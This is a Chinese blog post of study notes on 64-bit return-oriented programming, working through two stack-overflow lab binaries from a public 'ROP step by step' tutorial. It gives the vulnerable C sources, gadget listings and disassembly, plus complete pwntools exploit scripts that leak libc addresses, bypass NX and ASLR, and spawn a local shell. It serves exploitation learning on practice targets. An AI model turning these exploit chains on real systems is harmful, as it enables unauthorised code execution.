• 蒸米一步一步ROP X64学习笔记


      原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STEP(冒昧的贴一下,

      本文有一些作为一只菜鸡的思考,原文蒸米大大可能站的角度比较高,有的地方没有写清楚,这里权当补充一下

       首先是level4,源代码如下

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <dlfcn.h>
    
    void systemaddr()
    {
        void* handle = dlopen("libc.so.6", RTLD_LAZY);
        printf("%p
    ",dlsym(handle,"system"));
        fflush(stdout);
    }
    
    void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 512);
    }
    
    int main(int argc, char** argv) {
        systemaddr();
        write(1, "Hello, World
    ", 13);
        vulnerable_function();
    }

    gcc -fno-stack-protector level4.c -o level4 -ldl编译(github里提供的level4程序关闭了pie,我们这么编译打开PIE加大下难度:P

    # checksec level4
    [*] '/root/rop/rop/level4'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    可以看到程序打开了NX和PIE,由于程序输出了system的地址,所以可以用system地址作为相对偏移,最后加上system地址绕过ASLR。

    vulnerable_function存在栈溢出,所以可以构造payload=padding128+EBP+pop_rdi_ret+binsh+system_addr

    构造这个payload可以成功的原因是padding128覆盖buf;调用函数时call func会push eip,这里的eip是返回地址,进入func时会push rbp,mov rbp,rsp开辟栈帧,所以需要在栈帧加入EBP;pop_rdi_ret即返回地址eip,调用函数返回时ret会pop eip,这里我们找一个pop rdi,ret的gadget就会执行之;调用函数返回执行ret时rsp指向pop_rdi_ret的地址,pop rip后rsp指向binsh,执行gadget的pop rdi会把binsh弹出rdi作为system调用的第一个参数,然后执行gadget的ret时rsp指向system_addr,就会执行system调用了

    另:64位程序函数调用参数依次保存在RDI,RSI,RDX,RCX,R8和 R9

    在源程序查找/bin/sh没有找到,只能在ibc里寻找

    查找pop_rdi_ret(原作者用的程序可能是github那个版本的,我这里由于重新编译了竟然找到了gadget,当然源程序找不到gadget只能从libc里找了:P

    p# ROPgadget --binary level4 --only "pop|ret"
    Gadgets information
    ============================================================
    0x000000000000093c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x000000000000093e : pop r13 ; pop r14 ; pop r15 ; ret
    0x0000000000000940 : pop r14 ; pop r15 ; ret
    0x0000000000000942 : pop r15 ; ret
    0x000000000000093b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x000000000000093f : pop rbp ; pop r14 ; pop r15 ; ret
    0x0000000000000770 : pop rbp ; ret
    0x0000000000000943 : pop rdi ; ret
    0x0000000000000941 : pop rsi ; pop r15 ; ret
    0x000000000000093d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    0x0000000000000686 : ret

    Unique gadgets found: 11

    构造exp程序如下

    from pwn import *
    
    context(os='linux',arch='amd64',log_level='debug')
    
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p=process('./level4')
    
    binsh_offset=next(libc.search('/bin/sh'))-libc.symbols['system']
    pop_rdi_ret_offset=0x1feea-libc.symbols['system']            
    
    system_str=p.recvuntil('
    ')
    system_addr=int(system_str,16)
    
    binsh=binsh_offset+system_addr
    pop_rdi_ret=pop_rdi_ret_offset+system_addr
    
    payload='A'*128+'BBBBBBBB'+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)
    
    p.sendline(payload)
    p.interactive()

        然后是一个比较有难度的level5

        程序源代码如下

    #undef _FORTIFY_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 512);
    }

    int main(int argc, char** argv) {
        write(STDOUT_FILENO, "Hello, World ", 13);
        vulnerable_function();
    }
        编译时关闭了PIE保护

        可以看到这个程序只有一个栈溢出,又因为开启了NX保护,所以利用的思路就是system("/bin/sh")的函数地址和/bin/sh写入一个可写可执行段(.BSS);又因为程序调用了write和read,所以可以通过write输出write.got的地址,计算system和write的相对偏移从而计算libc system的地址

        objdump -d level5查看level5的汇编,有一个通用构造gadgets的函数

    <__libc_csu_init>:
      4005a0:    48 89 6c 24 d8           mov    %rbp,-0x28(%rsp)
      4005a5:    4c 89 64 24 e0           mov    %r12,-0x20(%rsp)
      4005aa:    48 8d 2d 73 08 20 00     lea    0x200873(%rip),%rbp        # 600e24 <__init_array_end>
      4005b1:    4c 8d 25 6c 08 20 00     lea    0x20086c(%rip),%r12        # 600e24 <__init_array_end>
      4005b8:    4c 89 6c 24 e8           mov    %r13,-0x18(%rsp)
      4005bd:    4c 89 74 24 f0           mov    %r14,-0x10(%rsp)
      4005c2:    4c 89 7c 24 f8           mov    %r15,-0x8(%rsp)
      4005c7:    48 89 5c 24 d0           mov    %rbx,-0x30(%rsp)
      4005cc:    48 83 ec 38              sub    $0x38,%rsp
      4005d0:    4c 29 e5                 sub    %r12,%rbp
      4005d3:    41 89 fd                 mov    %edi,%r13d
      4005d6:    49 89 f6                 mov    %rsi,%r14
      4005d9:    48 c1 fd 03              sar    $0x3,%rbp
      4005dd:    49 89 d7                 mov    %rdx,%r15
      4005e0:    e8 1b fe ff ff           callq  400400 <_init>
      4005e5:    48 85 ed                 test   %rbp,%rbp
      4005e8:    74 1c                    je     400606 <__libc_csu_init+0x66>
      4005ea:    31 db                    xor    %ebx,%ebx
      4005ec:    0f 1f 40 00              nopl   0x0(%rax)
      4005f0:    4c 89 fa                 mov    %r15,%rdx
      4005f3:    4c 89 f6                 mov    %r14,%rsi
      4005f6:    44 89 ef                 mov    %r13d,%edi
      4005f9:    41 ff 14 dc              callq  *(%r12,%rbx,8)
      4005fd:    48 83 c3 01              add    $0x1,%rbx
      400601:    48 39 eb                 cmp    %rbp,%rbx
      400604:    75 ea                    jne    4005f0 <__libc_csu_init+0x50>
      400606:    48 8b 5c 24 08           mov    0x8(%rsp),%rbx
      40060b:    48 8b 6c 24 10           mov    0x10(%rsp),%rbp
      400610:    4c 8b 64 24 18           mov    0x18(%rsp),%r12
      400615:    4c 8b 6c 24 20           mov    0x20(%rsp),%r13
      40061a:    4c 8b 74 24 28           mov    0x28(%rsp),%r14
      40061f:    4c 8b 7c 24 30           mov    0x30(%rsp),%r15
      400624:    48 83 c4 38              add    $0x38,%rsp
      400628:    c3                       retq   
      400629:    0f 1f 80 00 00 00 00     nopl   0x0(%rax)

    这个函数里先执行400606再执行4005f0有以下赋值过程
    RDI,RSI,RDX
    [RSP+0X8]->RBX  
    [RSP+0X10]->RBP
    [RSP+0X18]->R12
    [RSP+0X20]->R13;R13D->EDI
    [RSP+0X28]->R14->RSI
    [RSP+0X30]->R15->RDX
    CALL  [R12+RBX*8]

        我们先构造一个payload输出write在got表中的地址

    write(rdi=1, rsi=write.got, rdx=8)
    ssize_t write(int fd, void *buf, size_t count);

    init_addr=0x400606
    func_addr=0x4005f0

    payload1=padding128+ebp+init_addr+p64(0)+p64(0)+p64(1)+write.got+p64(1)+write.got+p64(8)+p64(func_addr)+padding56+p64(main)

    这个payload可以成功的原因:padding128+ebp覆盖buf空间,在vulnerable_function执行结束ret时执行init_addr,即0X400606开始的赋值指令,此时RSP指向p64(0)的位置,各寄存器依次如下赋值。

      显然执行到0X400624时,并没有执行过压栈出栈指令,RSP依然指向p64(0)的位置,此时执行0X400624,esp+=0x38,上图栈中数据正好8*7=0X38个,所以执行完0X400624后esp正好指向P64(func)的位置。此时执行0x400628ret则执行func,执行到0x4005f9 call(r12+rbx*8)即call write,(在Linux中,值为0、1、2的fd分别代表标准输入、标准输出和标准错误输出,在程序中打开文件得到的fd从3开始增长)

    所以这时执行write(1,write.got,8)则会把8字节write.got地址输出到标准输出,这时p.recv(8)即可得到write.got的地址

      此时我们得到write.got地址即可通过

    system_offset=libc.symbols['write']-libc.symbols['system']

    write_addr=u64(p.recv(8))
    system_addr=write_addr-system_offset

    得到system在libc中的地址。

    payload最后+padding56+p64(main)的意思是执行完write后由于rbp=rbx,会依次执行到0x400624,由于我们需要继续利用栈溢出,所以需要返回main函数,所以需要填充一个56大小的padding,然后ret返回main函数

       

       接下来就是要把system和/bin/sh的地址写入.bss,然后再执行system("/bin/sh")即可。payload构造过程与payload1类似,EXP如下

    from pwn import *

    context(os='linux',arch='amd64')

    elf=ELF('level5')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p=process('./level5')

    init_addr=0x400606
    func_addr=0x4005f0
    got_write=elf.got['write']
    got_read=elf.got['read']
    main=0x400564
    bss_addr=0x601028

    system_offset=libc.symbols['write']-libc.symbols['system']

    #write(rdi=1, rsi=write.got, rdx=8)
    payload1='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_write)+p64(1)+p64(got_write)+p64(8)
    payload1+=p64(func_addr)+'x00'*56+p64(main)

    p.recvuntil("Hello, World ")
    p.send(payload1)
    sleep(3)
    print "send payload1 "
    write_addr=u64(p.recv(8))
    system_addr=write_addr-system_offset

    p.recvuntil("Hello, World ")

    #read(rdi=0, rsi=bss_addr, rdx=16)
    payload2='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_read)+p64(0)+p64(bss_addr)+p64(16)
    payload2+=p64(func_addr)+'x00'*56+p64(main)

    p.send(payload2)
    sleep(3)
    print "send payload2 "
    p.send(p64(system_addr))
    p.send("/bin/sh")
    sleep(3)
    print "please wait "
    p.recvuntil("Hello, World ")

    #system(rdi = bss_addr+8 = "/bin/sh")
    payload3='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(bss_addr)+p64(bss_addr+8)+p64(0)+p64(0)
    payload3+=p64(func_addr)+'x00'*56+p64(main)

    sleep(3)
    p.send(payload3)
    print "send payload3 "
    p.interactive()

        关于几个利用的细节问题:

      1.要先执行elf=ELF('level5')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')再执行process('./level5'),最后才能得到一个稳定的shell

      2.每一次send(payload)要sleep一下,不sleep 也会不稳定

      3.payload中用A之类的替换x00会导致Got EOF while sending in interactive的问题

    本文作者很菜,这几个细节问题并不知道是什么原因。如果凑巧有大佬看到这篇文章,望不吝赐教

    答:

    2.如果不调用sleep可能会出现多个payload一起send的情况,坑(

    
    
  • 相关阅读:
    什么是动态链接库
    <<TCP/IP高效编程>>读书笔记
    C++ 函数
    我的vim配置
    FastReport4.6程序员手册_翻译
    DUnit研究初步
    ADO BUG之'无法为更新定位行....' 解决之道
    极限编程的集成测试工具Dunit
    总结
    项目管理检查清单项目启动
  • 原文地址:https://www.cnblogs.com/snip3r/p/9175390.html
Copyright © 2020-2023  润新知